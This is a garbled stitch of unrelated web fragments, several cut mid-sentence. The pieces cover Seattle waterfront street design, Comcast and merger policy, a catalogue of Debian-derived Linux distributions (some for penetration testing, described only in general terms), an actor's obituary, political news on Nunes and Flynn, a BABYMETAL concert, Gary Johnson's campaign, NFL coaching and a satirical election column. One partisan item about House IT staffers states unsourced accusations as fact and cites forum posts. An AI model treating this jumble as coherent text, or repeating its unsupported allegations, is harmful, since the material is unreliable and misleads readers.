Compelled by feedback from constituents (including a set of strongly worded letters co-signed by Feet First, Transportation Choices Coalition and Cascade Bicycle Club), the city looked at alternative designs that could narrow the road width. But Foster says freight capacity and ferry queuing lanes weren’t up for negotiation, and projected traffic volumes will require two general travel lanes in each direction. So dedicated transit lanes were the only thing on the chopping block, an outcome nobody wanted.
Since the number of lanes isn’t likely to change at this point, Quinn says she and her transit and bike allies are pushing for two big changes: reduced lane width and slower speed limits.
“One thing they haven’t really done is reduce lane width to 10 feet for general purpose and 11 feet for transit,” says Quinn. “They can be looking at NACTO guidelines to make this even better.”
Foster says they have been looking at NACTO for design ideas and points to the curb bulb-outs, elevated crosswalks at every intersection and the bike facility as examples of progressive street design.
But, he explains, “we’ve looked very intensely at lane width now and continue to do so to make sure they’re consistent with rest of city. The waterfront is the sole surface freight route in the city. We need to maintain a minimum freight width for lanes.”
The speed limit on the route is currently 30 mph. Advocates want it reduced to at least 25 mph, a move they say would be in keeping with the city’s Vision Zero goals.
Foster says it might happen, but only if there were a, “citywide policy change for center city. It’d be weird to make that call on one street.”
Though the street will likely get built to the full 96-foot width, Foster says they’re moving ahead with an eye to the future. They’re designing the curb geometry and drainage in a way that will allow them to eliminate lanes as needed later. For example, if Sound Transit’s third light-rail phase gets built, fixed rail will eliminate the need for bus routes on the waterfront.
Quinn thinks the design as it stands is a look backward instead of forward to the less car-dependent city Seattle officials have said they want.
“We’re setting ourselves up to look at this as a missed opportunity to make something great and connect our neighborhoods,” she says. “Ultimately what we want is to design it correctly now in service of the direction the city wants to go.”President Donald Trump said on the campaign trail that his administration would take a tough stance against mergers and consider breaking up Comcast and other conglomerates. But nearly a year into his presidency, it's now clear to Comcast's top government official that the Trump administration will instead allow more mergers than the administration of Barack Obama.
"Overall, this president and this administration is likely less hostile to horizontal growth or even vertical growth in the telecom space and elsewhere," Comcast Senior Executive Vice President David Cohen said in an interview, according to a Recode article today.
Horizontal mergers are deals between companies that make the same goods or services and compete against each other, like the Comcast/Time Warner Cable merger that was blocked by the Obama administration. (Cohen took the lead in pitching that deal to government regulators.) Vertical mergers join companies that operate at different levels of an industry's supply chain.
The Trump administration's apparent willingness to approve both horizontal and vertical mergers isn't a "license for 'anything goes,'" Cohen told Recode. But Cohen said there's "pretty clearly going to be less hostility and a greater willingness to allow the market to work."
That's in stark contrast to statements made by Trump when he was seeking voters' approval. Trump promised to stop AT&T's purchase of Time Warner Inc., which is now on the verge of being approved. Trump also talked about breaking up Comcast, saying, "Comcast's purchase of NBC concentrated far too much power in one massive entity that is trying to tell the voters what to think and what to do. Deals like this destroy democracy, and we'll look at breaking that deal up and other deals like that. That should never, ever have been approved in the first place; they're trying to poison the mind of the American voter."
No big Comcast mergers under Trump—yet
Cohen held multiple fundraisers at his home for Democratic presidential candidate Hillary Clinton in 2015.
Comcast hasn't proposed any big mergers since Trump became president, but in May it announced an agreement with cable company Charter that could lead to a merger with a wireless company. Comcast and Charter agreed to cooperate in their plans to sell mobile phone service, and for one year the cable companies will work only with each other when it comes to acquisitions in the wireless industry.
Comcast and Charter then held some talks with Sprint, though nothing came of them.
"We're not out there saying, 'Oh my god, to survive we need something else to buy,'" Cohen said. "On the other hand, we have never viewed ourself from being foreclosed from the acquisition marketplace, either domestically or internationally."
Verizon CEO Lowell McAdam said in April that he'd be willing to have merger talks with just about any company, including Comcast, although more recently McAdam said he's no longer interested in merging with a cable company.
Cohen skeptical about Sinclair/Trib |
open-source tools for penetration testing, and a custom-built Linux kernel 3.9.4. Matriux was first released in 2009 under code name “lithium” and then followed by versions like “xenon” based on Ubuntu. Matriux “Krypton” then followed in 2011 where we moved our system to Debian. Other versions followed for Matriux “Krypton” with v1.2 and then Ec-Centric in 2012. The newest version Matriux v3 RC1 k0d3 name “Leandros” was released on 2013-09-27 which is a major revamp over the existing system. Matriux arsenal is divided into sections with a broader classification of tools for Reconnaissance, Scanning, Attack Tools, Frameworks, Radio (Wireless), Digital Forensics, Debuggers, Tracers, Fuzzers and other miscellaneous tool providing a wider approach over the steps followed for a complete penetration testing and forensic scenario. Although there are were many questions raised regarding why there is a need for another security distribution while there is already one. We believed and followed the free spirit of Linux in making one. We always tried to stay updated with the tool and hardware support and so include the latest tools and compile a custom kernel to stay abreast with the latest technologies in the field of information security. This version includes a latest section of tools PCI-DSS. Matriux is also designed to run from a live environment like a CD/ DVD or USB stick which can be helpful in computer forensics and data recovery for forensic analysis, investigations and retrievals not only from Physical Hard drives but also from Solid state drives and NAND flashes used in smart phones like Android and iPhone. With Matriux Leandros we also support and work with the projects and tools that have been discontinued over time and also keep track with the latest tools and applications that have been developed and presented in the recent conferences.
Meilix A beautiful and customizable Linux build for out of the box features for an Internet Kiosk. You can use the Meilix Generator (Web app) to make a Linux for your own brand/event, also add apps and features you need pre-installed, it will create an ISO Image of your Linux, which you can use as a live boot or install on PCs. is a Debian derivative aimed at building out of the box features for an Internet Kiosk.
Metamorphose Linux Metamorphose is a complete operating system, aimed at beginners or advanced users
NEMS Linux - a Debian derivative providing a modern pre-configured, customized and ready-to-deploy Nagios Core distro designed to run on low-cost micro computers.
Netrunner
OLPC OLPC is an Debian derivative aimed at packaging the Sugar desktop and activities.
OSMC OSMC is a Debian derivative aimed at being a mediacenter distribution.
Open Network Linux Open Network Linux is a Debian derivative aimed at Bare Metal Switches.
Open Secure-K OS Open Secure-K OS, the next generation live operating system following liveng patterns (whitepaper here: https://liveng.readthedocs.io), by LumIT Labs.
Ordissimo is a Debian derivative aimed at being the easiest to use (especially for the elderly) for a complete desktop use (internet, email, photos, webcam and many other applications). It contains a custom simplified desktop interface.
Pardus Pardus Linux is a GNU/Linux distribution jointly developed by the Scientific & Technological Research Council of Turkey (TÜBİTAK) and National Academic Network and Information Centre (ULAKBİM). It started its life as a Gentoo-based project before developing its own unique identity. Since late 2012 the distribution is based on Debian GNU/Linux.
Parrot Security Parrot OS is a Debian based GNU/Linux distribution designed to perform penetration tests and digital forensics analysis. It can be also deployed on cloud environments and embedded devices, and it also provide a full environment for developers and many tools to preserve users privacy such as cryptography and anonymity toolkits.
Parsix Parsix GNU/Linux is a live and installation DVD based on Debian.
PrimTux PrimTux is a French Debian derivative for 3 to 12 years old children that can be used at home or at school.
Progress Linux Progress Linux is a Debian derivative focused on system integration.
Proxmox VE Proxmox VE is a complete server virtualization management solution based on Debian. It supports two types of virtualization: container-based virtualization and KVM full virtualization and manages virtual machines, storage, virtualized networks, and HA clusters. Proxmox Mail Gateway is an open-source email security solution based on Debian, and protects users from spam, viruses, and malicious emails. It is a full featured mail proxy deployed between the firewall and the internal mail server and allows to control incoming and outgoing email traffic from a single platform.
Please note that this page is not about Purism's PureOS but about another older Debian derivative with the same name that is now inactive. Please do not modify the historical information on this page. PureOS PureOS is a Debian (testing branch) based liveCD/USB built with the Linux Live scripts.
Purism PureOS Purism PureOS is a Debian derivative developed as a rolling release based on Debian testing, aimed at security and freedom conscious desktop users. NB! Upstream project name is simply "PureOS". Name here includes its main sponsor merely to distinguish from earlier distribution no longer active (project leader of said other distribution has agreed to hand over domain to new project, but formal and practical handover is progressing only very slowly).
Q4OS Q4OS is a Debian derivative focused on security, reliability, long-term stability and conservative integration of verified new features. System is distinguished by speed and very low hardware requirements, runs great on brand new machines as well as legacy computers..
Qlustar
Qubes Qubes OS is a reasonably secure operating system. It provides security by compartmentalization, using Xen and templates to allow the user to run individual isolated qubes, integrated into a single, unified desktop environment.
Raspbian Raspbian is a Debian derivative targetting armv6 devices with vfpv2. Primarily but not exclusively the raspberry pi. We are based on debian armhf but with reduced compiler defaults to that our binaries will run on such devices.
rescatux Rescatux is a GNU/Linux and Windows rescue cd but it is not like other rescue disks. Rescatux comes with Rescapp. Rescapp is a nice wizard that will guide you through your rescue tasks. Rescatux core is based in Debian stable with some added packages and custom scripts. Super Grub2 Disk integration is based on Debian Unstable.
SELKS is both Live and installable Network Security Management ISO based on Debian implementing and focusing on a complete and ready to use Suricata IDS/IPS ecosystem with its own graphic rule manager. From start to analysis of IDS/IPS and NSM events in 30 sec. The name comes from its major components: Suricata Elasticsearch Logstash Kibana Scirius. After starting or installing SELKS, you get a running Suricata with IDPS within a NSM platform, Kibana to analyse alerts and events and Scirius to configure the Suricata ruleset. SELKS is released under GPLv3 license.
SPACEflight SPACEflight is a live demonstrator for the Internet of Services. It combines Debian with the open-source service platform SPACE and an intuitive KDE-based service desktop integration.
SalentOS SalentOS is a GNU/Linux operative system based on Debian that uses Openbox as window manager. SalentOS has been designed to combine simplicity and completeness.
Septor Septor Linux is a operating system that provides users with a perfect computing environment for surfing the Internet anonymously. Septor providing users with a stable and reliable distribution that is based on Debian GNU/Linux and works on a wide range of computers. Distribution featuring a customised KDE Plasma deskop and Tor technologies
Serbian GNU/Linux Serbian GNU/Linux is a operating system for the Serbian Linux community, providing users with a stable and reliable distribution that is based on Debian and works on a wide range of computers. Distribution featuring a customised KDE desktop and lightweight Openbox window manager.
SolusOS SolusOS is a Debian Stable based distribution aimed at providing a stable distribution with up to date applications, being user-friendly and making it easy to do tasks such as proprietary graphics driver installation
SolydXK SolydXK is based on Debian stable. SolydX uses the Xfce DE and SolydK the KDE DE. SolydXK aims to be simple to use, providing an environment that is both stable and secure. SolydXK is an open source alternative for small businesses, non-profit organizations and home users.
SparkyLinux?SparkyLinux is a lightweight, fast and simple Linux distribution designed for both old and new computers featuring customized Enlightenment and LXDE desktops. It has been built on the “testing” branch of Debian GNU/Linux.
SprezzOS Designed for power users, developers, servers and clusters, SprezzOS combines first-class HPC support with impeccable taste.
SteamOS SteamOS is a Debian derivative aimed at providing a gaming experience built for the big screen.
StormOS StormOS is a port of Debian Wheezy onto the Illumos base.
Symbiosis Symbiosis is a Debian derivative aimed at being an easy-to-use hosting platform.
Tails The Amnesic Incognito Live System, i.e. Tails, is a Debian Live-based system aimed at preserving your privacy and anonymity: all outgoing connections to the Internet are forced to go through the Tor network; no trace is left on local storage devices unless explicitly asked.
Tanglu Tanglu is a Debian derivative aimed at providing more frequent releases than Debian and being targeted at Desktop users. Its goal is to be used together with Debian, where Debian runs on servers and Tanglu on desktops. Tanglu can be used to test new upstream software while Debian is in freeze. In short, you can think of Tanglu as a community-maintained Ubuntu.
ThengOS ThengOS is a Debian derivative developed for Malayaless (Malayalam-speaking people mostly from Kerala, a South Indian state) by Malayalees".
ToriOS ToriOS is a Debian based distribution that focuses on lower-end x86 hardware, using a custom Desktop Environment employing JWM (Joe's Window Manager) as well as a number of homegrown F/LOSS programs to make everything easier for the end user. ToriOS also uses a unique installer, OBI (One Button Installer) which installs the operating system from a tarball and configures it through a chroot.
Tucunaré Tucunaré is the result of customizing the operating system Debian GNU/Linux and many other free software necessary for the exercise of citizenship and culture. It uses LTSP. It is the main distribution used in custom projects for Digital Inclusion in Brazil.
TurnKey Linux 100+ ready-to-use solutions: discover and leverage the best free software. Deploy solutions quickly on bare metal, virtual machines, or in the cloud. Free as in speech: free software with full source code and a powerful build system (TKLDev). Free of hidden backdoors, free from restrictive licensing and free to learn from, modify and distribute. Secure and easy to maintain: auto-updated daily with latest security patches. It just works: designed for ease of use, built and tested collaboratively by the community. Backup and migration: built-in backup software (TKLBAM) saves changes to files, databases and package management to encrypted storage which servers can be automatically restored from.
Ubuntu Ubuntu is a Debian derivative aimed at popularising and polishing Linux.
UltimediaOS UltimediaOS is a Debian derivative aimed to be full redistributable and to provide the best multimedia integration for older and modern hardware.
Univention Corporate Server is a Debian derivative focused on enterprise environments.
Vanillux Vanillux is a Debian / Ubuntu, Gnome3 rolling release.
Voyage Linux Voyage Linux is Debian derived distribution that is best run on a x86 embedded platforms such as PC Engines APU/ALIX/WRAP, Soekris 45xx/48xx/65xx and Atom-based boards. It can also run on low-end x86 PC platforms. Typical installation requires 256MB disk space, although larger storage allows more packages to be installed. Voyage Linux is so small that it is best suitable for running a full-feature firewall, wireless access point, Asterisk/VoIP gateway, music player or network storage device. Currently, Voyage Linux has the following editions: Voyage Linux - the basic version
Voyage MPD - Music Player Daemon All editions are delivered as distribution tarball and Live CD in i386 architecture. AMD64 architecture is available for Voyage Linux only. We also offer SDK to ease customizing Voyage Linux, using Live framework.
VyOS VyOS is a Debian-based distribution for routers and firewalls that provides access to all features through a unified CLI in the style of Juniper JunOS. It includes static and dynamic routing, firewall, NAT, VRRP, multiple VPN protocols and more.
Vyatta Vyatta is a Debian derivative providing IPv4 and IPv6 routing, stateful firewalling, IPSec and SSL OpenVPN, intrusion prevention, and more.
Wazo Wazo is a Debian derivative aimed at being a fully free software unified communication platform.
Webconverger is a distribution aimed at only supporting web applications. The typical use cases fulfilled are public access browsing and Web signage.
Whonix Whonix (called TorBOX or aos in past) is an anonymous general purpose operating system based on Virtual Box, Debian GNU/Linux and Tor. By Whonix design, IP and DNS leaks are impossible. Not even malware with root rights can find out the user's real IP/location. This is because Whonix consists of two virtual machines. One machine solely runs Tor and acts as a gateway, which we call Whonix-Gateway. The other machine, which we call Whonix-Workstation, is on a completely isolated network. Only connections through Tor are possible. This is only a very brief introduction. See Security for a more comprehensive description, security features and threat model. Whonix is produced independently from the Tor anonymity software and carries no guarantee from The Tor Project about quality, suitability or anything else.
YunoHost?YunoHost is a server operating system aiming to make self-hosting accessible to everyone.
Neptune Neptune is a Debian derivative aimed for creating a fast running Live System for USB Sticks.
ZEVENET Debian based derivative specialized in Application Delivery tasks in order to build high availability, massive scalability and secure services, data centers and networks very easily. (formerly Zen Load Balancer)
ev3dev ev3dev is a Debian that runs on LEGO MINDSTORMS EV3 and other MINDSTORMS compatible devices.
gNewSense gNewSense is an FSF supported distribution to create a completely Free Software distribution (Using the 4 freedoms defined by the FSF). [ More correctly, it is to create a Free System Distribution as defined in the FSF's Guidelines for Free System Distributions. ]
HPE Linux (hLinux) HPE Linux (hLinux) is a Debian derivative produced by Hewlett Packard Enterprise for use by various HPE projects.
rtros rtros is a Debian derivative aimed at being an router operating system for pc. It is based on freerouter which speaks routing protocols and does packet forwarding.
Semplice Semplice is a GNU/Linux distribution based on Debian with the goal to provide a simple, fast, lightweight and cool environment.
siduction siduction is a distribution based on Debian unstable. It aims at being a fast and bleeding edge distribution while still usable for productive work. It also wants to widen the testbase for Debian unstable. siduction wants to stay as close to Debian as possible, follow the spirit of the DFSG and the debian social contract and work with upstream in every possible way.
ubilinux ubilinux is a Debian derivative, based on Debian 8, aimed at supporting x86 SBC for Embedded applications. Previosuly supporting Intel Galileo and Intel Edison, now it provides an installer for the UP Board SBC, providing a Linux Kernel 4.4 which includes patches to enable HDMI Audio and 40-pin I/O header.Barry Dennen, member of the original cast of “Jesus Christ Superstar,” died Tuesday at age 79, his reps told TheWrap. The actor died in hospice care in Burbank after suffering a brain injury from a fall in June.
Dennen played Pontius Pilate, the man who sentenced Jesus Christ to death, on the original recording and in the 1973 film. Prior to that, Dennen had a brief relationship with Barbra Streisand in the early 1960s, when he helped her develop the nightclub act that kickstarted her career. Dennen wrote about his time with Streisand in a 1997 book called “My Life With Barbra,” discussing how he introduced her to the world of Cabaret and helped designed her outfits while privately coming to terms with his homosexuality.
Born and raised in Chicago, Dennen got his big break as a stage actor in 1968 as the master of ceremonies in the West End version of “Cabaret.” Two years later, he was cast to play Pontius Pilate in “Superstar.” In the role, he performed the song “Pilate’s Dream,” in which the Roman prefect sings of a dream he had about meeting Jesus, and seeing “thousands of millions” crying for him and blaming Pilate for his death.
Dennen also held minor roles in “The Shining” and “Fiddler On The Roof,” and could be seen as one of the passengers in James Cameron’s “Titanic” while the ship was sinking. He has also done voice work on several animated TV shows, including “Batman: The Animated Series,” “DuckTales,” and “Avatar: The Last Airbender.”
Dennen is survived by his adopted sons Timothy and Barnaby, and his brother, Lyle.That’s Weird? Wasserman Schultz Paid Imran Awan for 5 Mos. After He Was Banned from House Computers
Three Pakistani brothers who managed the IT affairs for several Democratic government officials were relieved of their duties in February on suspicion that they accessed specific computer networks without permission, also known as hacking.
Abid, Imran, and Jamal Awan were barred from computer networks at the House of Representatives in February.
Imran Awan was arrested on Monday night trying to flee the country with $12,000 of cash on him.
They accessed computers unauthorized. They were getting foreign information. The three brothers were making $161,000, $165,000, and $160,000.
One of the brothers has a criminal background.
** Former IT staffer Imran Awan allegedly threatened to have his stepmother’s Pakistani relatives kidnapped if she talked to U.S. law enforcement authorities,
Debbie Wasserman Shultz continued to pay Imran Awan for five months for IT services after he was banned from House computers.
Russia Today reported this in March.
The brothers, Abid, Jamal and Imran Awan, worked as shared employees for various members of the House, covering committees relating to intelligence, terrorism and cybersecurity, which included the House Committee on Foreign Affairs, the Committee on Homeland Security and the Subcommittee on Tactical Air and Land Forces of the Armed Services Committee. Imran’s wife, Hina Alvi, and Rao Abbas, both of whom worked as House IT employees, are also under investigation. The group were banned from accessing the computers as a result of the investigation but, as of earlier this month, Imran Awan remains as an “technology adviser” to former Democratic National Committee chair, Debbie Wasserman Schultz… …Imran, who started working for Wasserman Schultz in 2005, received $164,600 in 2016, with close to $20,000 of that coming from Wasserman Schultz. Jamal, who started working as a staffer in 2014, was paid $157,350.12 in 2016. Abid, who started working in 2005, was paid $160,943 in 2016. Hina Alvi, who was employed as a staffer from February 2007, was paid 168,300 in 2016. Rao Abbas was paid $85,049 in 2016. The Daily Caller reports that Imran received $1.2 million in salary since 2010, while Abid and Alvi received over $1 million each.
According to reports earlier this week Imran Awan was still employed by Wasserman Schultz after his arrest on Monday night.
David Damron, spokesman for Wasserman Schultz, told FOX News reporter Chad Pergram that Awan was terminated on Tuesday.
Wasserman Schultz spokesman David Damron: Mr. Awan previously served as a part-time employee but his services have been terminated. — Chad Pergram (@ChadPergram) July 25, 2017
Via /pol/:
Debbie Wasserman Schultz claims Imran Awan was a “part-time employee” (being paid $165k), only fired him this morning to protect herself. pic.twitter.com/sDvFRjY2lL — /pol/ News Forever (@polNewsForever) July 26, 2017
So why was Imran still being paid?
Wasserman Schultz has some explaining to do.(CNN) House intelligence committee Chairman Devin Nunes detailed key pieces of his leaks investigation Thursday, arguing that the names of transition officials to President Donald Trump were sought by "Obama-era officials" in intelligence reports.
In a public letter to Director of National Intelligence Dan Coats, Nunes said that he plans to spend August drafting legislation that will help ensure prosecutions of officials who leak classified information.
"All leaks of classified information must be vigorously prosecuted, and the committee is working to ensure law, policy and funding are aligned to maximize the prosecution of these crimes," Nunes wrote.
Nunes also alleged in the letter that "Obama-era officials sought the identities of Trump transition officials within intelligence reports." He made the same charge in March after his clandestine trip to the White House, which ultimately led to him stepping aside from the Russia probe as he himself became the target of an investigation into whether Nunes leaked classified information.
The letter was signed only by Nunes -- no other members of the committee signed onto the request.
Read MoreThe news agency Reuters says that it has been told by current and former U.S. officials that Michael Flynn and other Trump campaign advisers had contact with Russian officials, or those “with Kremlin ties,” in the form of at least 18 phone calls or emails during the last seven months of 2016’s presidential election.
The unnamed officials are said by Reuters to be “familiar with the exchanges,” which were previously undisclosed but are now being reviewed by the FBI and the Senate and House intelligence committees.
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According to Reuters, six of the exchanges were between Sergey Kislyak, Russia’s Ambassador to the U.S., and Flynn. The news agency says its sources did not see evidence of wrongdoing or collusion in the communications “reviewed so far,” but speculated that their disclosure could put president Donald Trump under even greater pressure to provide a fuller account of “interactions with Russian officials and others with links to the Kremlin” during the presidential race.
Read the full Reuters report here.
Contact us at editors@time.com.TokyoGirls'Update
Doomsday at Tokyo Dome: BABYMETAL Legend Metal Resistance RED NIGHT/BLACK NIGHT
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BABYMETAL completed their WORLD TOUR 2016 with 2 sold out nights at Tokyo Dome, with 110,000 attending even with one of the biggest typhoons of the season making land in Japan on September 19th and 20th. A total of 450,000 in 8 different countries attended “BABYMETAL WORLD TOUR 2016”.
The first day of the Tokyo Dome concert, which was held on September 19th (Monday), titled RED NIGHT, was comprised of 13 songs mainly from their second album, “Metal Resistance”. SU-METAL, YUI-METAL, and MOA-METAL, appeared at the central stage with the flag of BABYMETAL symbol in black and gold outfits, starting off with “Road of Resistance”. Some of their iconic songs such as “Gimme Chocolate!!” and “KARATE” were also performed powerfully, exciting the audience. RED NIGHT closed with the song, “THE ONE – English Ver. -,” and the neck braces that were handed out to the audience members at the entrance, lit up as they roared along with the anthem.
The second day of the Tokyo Dome concert BLACK NIGHT, was held as the typhoon made its way across mainland Japan on September 20th. Also, unlike the previous day which was a holiday, was held on a weekday. Although there were many people who were busy with their daily work and school lives, it provided little resistance to them returning for the very last day of BABYMETAL’s performance. The second day opened with “BABYMETAL DEATH,” the trio in their iconic black and red outfits. This focused on the songs from the first album, “BABYMETAL” including songs like “Doki Doki Morning,” “Headbangya” and “Megitsune” were performed in sequence to urge on the audiences. Like the first day performance, the audience were handed the neck braces and it lighted to red, as the runways for SU-METAL, YUI-METAL, and MOA-METAL also lighted red as if its blazing. The members climbed up on the stage up in the air and the members and the audience roared out together “WE ARE! BABYMETAL!”. SU-METAL banging a gong which echoed through the Dome.
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Author Satsuki Grad student in Tokyo. Born in Tokyo, raised in New York, studied in London. My interests lies in Tokyo's urban street cultures and girls cultures,rock music, fashion and manga. Just livin' it up :)
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DisqusIt’ll be a critical next few weeks for the presidential candidate most people haven’t heard of, Libertarian Gary Johnson.
The former Republican and former governor of New Mexico is hoping to gain a spot on the podium at the first presidential debate, scheduled for Sept. 26 at Hofstra University. To qualify, he must be averaging 15 percent in national polls. No minor-party candidate has done that since Ross Perot in 1992.
Johnson’s presence on stage with Democrat Hillary Clinton and Republican Donald Trump would change the dynamics of the race, Libertarians contend.
“It would truly be a game changer because the challenge for a third-party candidate is to become known,” said Joe Hunter, communications director for the Johnson campaign.
Johnson is nowhere near the 15 percent threshold yet. But he’s crept into double digits in some key states including Ohio and is hoping to continue to gain because so many voters dislike Clinton and Trump.
Together with his running mate, former Massachusetts Gov. William Weld, Johnson is trying to appeal to Republicans who have publicly disavowed Trump and people who supported Vermont Sen. Bernie Sanders in the Democratic primaries. Johnson also is hoping a series of town hall-style meetings on cable news channels this month will raise his profile.
Hunter said the Johnson-Weld ticket — which will be on the ballot in all 50 states — has received “more attention than we’d otherwise expect” because of the quality of its candidates. But it “pales in comparison to the attention we would get by being on stage,” Hunter said.
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“He still has a ways to go on that,” Marist College pollster Lee Miringoff said of Johnson’s chances for qualifying for debates. Marist’s recent survey found Johnson garnering 12 percent of the vote in Ohio and in Iowa, two key states for the election. His best showing appears to be Utah, where he’s at 16 percent.
Addressing his slow rise, Johnson told Newsweek: “A lot of that has to do with just how polarizing Clinton and Trump” are.
Johnson, who describes himself as “fiscally conservative, socially liberal,” says he’s for smaller government and, while he supports immigration reform, he opposes Trump’s idea of building a wall along the Mexican border. He picked up his first endorsement from a sitting congressman when Rep. Scott Rigell (R-Va.) said last week he couldn’t “in good conscience” support Trump.
Third-party candidates have made little impact over the last century in American presidential elections.
The most successful such candidates over the past four decades peaked in the summer before Election Day, only to fade by November — often because voters don’t want to “waste” a vote on a candidate who is unlikely to win, said Pace University political scientist David Caputo.
John Anderson, a former Illinois congressman, was polling near 20 percent at one point in the 1980 election before finishing with 7 percent of the vote.
Businessman Ross Perot led the 1992 race at one point. He eventually finished third, with 19 percent. However, it was a significant share, and many thought Perot hurt then-President George H.W. Bush and helped elect Democrat Bill Clinton.
In 2000, Green Party candidate Ralph Nader got just 3 percent of the vote. But Democrats saw the 97,000 votes Nader drew in Florida as crucial to throwing the critical state to George W. Bush, who beat Democrat Al Gore there by about 500 votes.
Unlike Anderson and Perot, Johnson hopes to peak late in the race.
Caputo said the Libertarian has a “50-50 chance” of making the debate and might do well to target Sanders supporters.
“Obviously, Bernie and I part ways on economics. I don’t believe anything is free,” Johnson told Newsweek. But he said he agrees with the Vermont senator’s opposition to “crony capitalism” and military interventions overseas, and Sanders’ support of same-sex marriage, abortion rights and marijuana legalization.
Johnson said voting a third-party candidate isn’t “throwing away” a vote, but “voting for someone you don’t believe in” is.A week after starting their coaching search, the Browns have to start over again. There's no other option after failing to sign Oregon coach Chip Kelly, the team's top candidate.
This is a major setback for the regime of owner Jimmy Haslam and chief executive officer Joe Banner, who wanted to send the message that the new Browns are different than the old ones. After firing coach Pat Shurmur on Monday, Haslam and Banner both boldly said they would go after the top candidates and had no fear of getting one. It's hard to save face during a coaching search that has been a series of blows from not landing Kelly to losing out on both of the fallback options (Penn State's Bill O'Brien and Syracuse's Doug Marrone).
I'm not saying Kelly was going to be the answer. In fact, Kelly is a major gamble considering he never coached or played at the NFL level. The Browns may be better off in the long run without Kelly and his fast-paced offense. He has the potential to be a flop in the NFL.
But the Browns played all of their chips on Kelly in this coaching search and lost. If the Browns would've been able to get Kelly, Haslam and Banner would be considered winners for getting their man. Instead, they spent all day Friday with the man they coveted and let him walk out the door.
What's next? Back to square one for the Browns. Get ready for the second phase of the coaching search that may include the likes of Patriots offensive coordinator Josh McDaniels, Colts offensive coordinator Bruce Arians, Bengals defensive coordinator Mike Zimmer, Broncos offensive coordinator Mike McCoy and 49ers offensive coordinator Greg Roman.The 2016 campaign only makes sense if Hillary and Donald are both fighting to stay out of office.
Hillary Clinton and top aide Huma Abedin, Los Angeles, Calif., Feb. 2, 2008. (Photo: Justin Sullivan, Getty Images)
Over and over during the 2016 presidential campaign, one thought keeps occurring to me: The only way this plot makes sense is if the next scene reveals a huge anti-American conspiracy bent on destroying our country.
On one side, we have Vladimir Putin, Barack Obama, Hillary Clinton and the Islamic State conspiring to place a serially-bankruptbillionaire blowhard (with his own line of neckwear!) into the Oval Office at a key moment in history. On the other, a tireless and patriotic Donald Trump, backed by a band of failed online media entrepreneurs, fights the evil plan in a desperate attempt to put the nuclear launch codes in the hands of a corrupt and dishonest retread who has the virtue of, at least, being relatively sane.
Think about it.
At the beginning of last week, Trump was plunging in the polls as even his most ardent supporters come to realize the guy can only stop groping, kissing and otherwise assaulting women when he is reading the inadvertently-honest emails the Russians hacked from the Clinton campaign chairman's Gmail account or when he is composing new ways to infuriate everyone with a vagina.
Then, BAM!!!, the FBI director writes a letter to senior lawmakers saying that due to an investigation into the skanky hijinks of Clinton's Muslim-American right-hand gal's testosterone-addled ex-congressman soon-to-be ex-husband (named Weiner!), the G-men have discovered a hard drive where potentially Top Secret State Department emails snuggled up next to an archive of crotch-bulge JPEGs used in "Carlos Danger's" perverse Twitter mating rituals with potentially underage girls.
THIS. CAN. NOT. BE. REAL. LIFE.
But it is. And as a highly-paid Washington journalist, it is my job to make sense of this and explain it to other people. I can't. Some days after work, I sit there and look at my 2-year-old son and try not to imagine the world in 20 years. I write a relaxing column about all the ways Obamacare is doomed to fail.
But then I accidentally pay attention to the presidential campaign and the conspiracy keeps coming back.
An Islamic State-inspired son of an Afghan Muslim immigrant (who thinks he is the Afghan president-in-exile) kills four dozen Americans at the Pulse, an Orlando gay nightclub. As if on cue, Democratic leaders and liberal opinionators make it seem like they are more worried about the killer's homophobia than his hatreds' religious and immigrant roots. If there was a conspiracy, this is exactly what they'd cook up to make Trump's ban on Muslim immigration seem sane.
Trump won't take that lying down so he orders his wife to plagiarize a speech from Michelle Obama while he cooks up a feud with a Muslim couple whose son gave his life to protect America from Islamic terrorism. For some reason, Republicans love Michelle Obama's speech when it comes from the lips of a white chick who, at one point, might have been an illegal alien.
Hillary Clinton can't stand the thought of having to decide whether Winston Churchill's bust should go back on the mantel of the Oval Office, so when the FBI exonerated her in the investigation into her secret email server cover-up, she doubled down on the lies, telling Fox News' Chris Wallace, "Director Comey said my answers were truthful, and what I've said is consistent with what I have told the American people."
POLICING THE USA: A look at race, justice, media
Not one of those words was true. I forget whether she compared herself to a "short-circuited" robot as a preview of the bold move to bolster the Trump campaign or as an excuse afterward.
Every day it's a race to prove who wants to be president the least.
I got an email from HillaryClinton.com in September asking for money. The subject line began, "If I am being honest..." When I saw it, I thought, "Oh for God's sake, why start now?" If Clinton had started being honest five years ago or even one year ago, the American people would be carrying her to Washington on a flag-draped litter to install her in the White House while they sing old Methodist hymns.
But she didn't. She won't or can't. The only reasonable explanation left is that she will do anything, absolutely anything, to make Donald Trump president. The question is what she and Vladimir Putin have to gain.
David Mastio is the Deputy Editorial Page Editor of USA TODAY. Follow him on Twitter: @DavidMastio
You can read diverse opinions from our Board of Contributors and other writers on the Opinion front page, on Twitter @USATOpinion and in our daily Opinion newsletter. To submit a letter, comment or column, check our submission guidelines.
Read or Share this story: http://usat.ly/2eH1eiGJune 10, 2016
Is Assad Delusional? By Faysal Itani
In a matter of months, Bashar Assad’s reading of the Syrian war was transformed. In a June 7 speech to Syria’s Parliament, he vowed to retake “every inch” of Syria, dismissing negotiations with the opposition as a trap. In contrast, less than a year ago in July 2015, Assad gave a very different speech. Then, having lost a great deal of territory to the insurgency, he admitted his forces had to cede some areas of Syria to save more important ones. US State Department spokesperson Mark Toner said Assad’s latest speech “[showed] once again how delusional, detached, and unfit he is to lead the Syrian people.” Unfit he may be, but is Assad misreading his situation so severely? What did his speech reveal about his calculations and prospects in Syria?The single most significant military development between the two speeches is Russia’s entry into the war. Russian air power, artillery, and training helped stabilize key frontlines near the Alawite heartland in northwest Syria. Aided by Iranian forces, Russia nearly destroyed the rebels in critical Aleppo province, weakened the insurgency around Damascus, and halted a rebel offensive in the south. The resulting respite allowed the regime to finally attack the Islamic State (ISIS) in earnest, retaking the strategic city of Palmyra and advancing on Tabqa. Capturing the latter would place regime forces within an hour’s drive from ISIS’s capital in Raqqa city, possibly beating Kurdish and Arab forces to the claim of destroying the ‘caliphate.’Thus, Assad’s strategic situation improved dramatically between speeches, without his making any serious concession to either his foreign patrons or Syrian rivals. Fighting ISIS might convince foreign governments to embrace or at least tolerate him as a partner against terrorism. It also makes the United States a de facto partner in that effort, since US policy is to fight ISIS but not the regime. Presently the groups succeeding most against ISIS are the Kurdish-dominated Syrian Democratic Forces (SDF), a handful of increasingly-beleaguered insurgent groups in Aleppo province, and now the regime. The United States is allied to the first, ambivalent toward |
